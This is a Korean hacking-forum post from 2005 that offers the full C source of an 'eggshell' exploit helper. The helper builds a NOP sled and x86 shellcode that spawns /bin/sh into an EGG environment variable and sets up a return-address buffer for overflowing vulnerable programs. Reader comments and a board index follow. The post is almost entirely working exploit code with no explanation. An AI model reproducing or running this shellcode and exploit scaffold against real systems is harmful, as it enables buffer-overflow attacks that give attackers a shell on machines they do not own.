1579, 1/79 회원가입  로그인  
   은조
   에그쉘 쓸줄 모르시는분..-_-필독

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=310 [복사]


#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
   "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
   "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
   "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
   "\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

  Hit : 9060     Date : 2005/09/28 06:57
[불법/스팸글로 신고하기]



    
은조 젠장-_- 보는사람이 없잖아 2005/09/29  
nsh009 자필로 쓰신건가요? 2005/10/01  
sorpyo 와아.. 2005/10/02  
blackcoder 컴파일해서 실행~ 2005/10/05  
Zero123 "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" 이게 뭐죠? 2005/10/05  
kamijyo 컴파일 오류 나는뎅;; 2005/10/08  
saiby32 이게 뭐져?? 쓸줄 모르는 사람 보라고 했는데 봐도 뭔지 모르겠씀!! 2005/10/12  
ivy7622 이건 코드잖아. 그냥 따라 하라는건가? 적어도 에그가 뭐라던가 하는 정도는 써줄수는 없나. 주석 한줄 없는 이런 소스가 정말 쓸줄 모르는 사람한테 도움이 될성 싶지는 않다. 2006/01/14  
blackdong 프로그램짜본사람 맞는지요 주석이 필수일텐데...설명좀 해주심 안될려나.. 2006/01/24  
1579   왠만한사람들은다알지도모르겠지만[6]     백룡출해
03/17 10319
1578   원격종료....[39]     bsjzzz
01/02 9926
1577   원재아빠님의 gcc 2.96에서의 버퍼 구조 강좌.[9]     ttongfly
09/19 10593
1576   열(TR)과 행(TD)의 확장(펌)     rahzzang
11/21 5128
1575   연결리스트     han0161
06/21 6130
1574   여러선배님들 좀도와주십시오..[2]     appleone
06/29 5849
1573   여러분! net send 정리해 드립니다.[11]     idl0521
12/13 8445
1572   여러분[1]     phan_tom1
11/18 5761
  에그쉘 쓸줄 모르시는분..-_-필독[9]     은조
09/28 9059
1570   워게임을 해봅시다.hackthissite(basic 1)[2]     kjwon15
09/10 7541
1569   워게임 사이트입니다. [4]     wkdqkf2
03/18 5080
1568   워게임 문제 힌트좀 주실분 구함     rabbitlycat
04/30 3977
1567   왜 고등학교[5]     파란눈물
02/05 5508
1566   왜 해커가 되려는가[6]     dontknow
07/22 8265
1565   왜 C 이어야 하는가 ?[96]     소유
04/09 20447
1564   요즘 공부하고 있는 JAVA에 대한 질문과 답변[3]     장세만
07/14 6180
1563   왕초보자 들을 위한 C 언어 강좌[7]     kevin0960
01/25 6993
1562   왕초보 파이썬 (Python) 언어 배우기 - Site 추천[5]     푸른하늘
12/14 9256
1561   와우해커level2 문제풀이[3]     프라이드
08/20 7341
1560   와우해커 level1[3]     프라이드
08/20 7437
1 [2][3][4][5][6][7][8][9][10]..[79]

Copyright 1999-2021 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com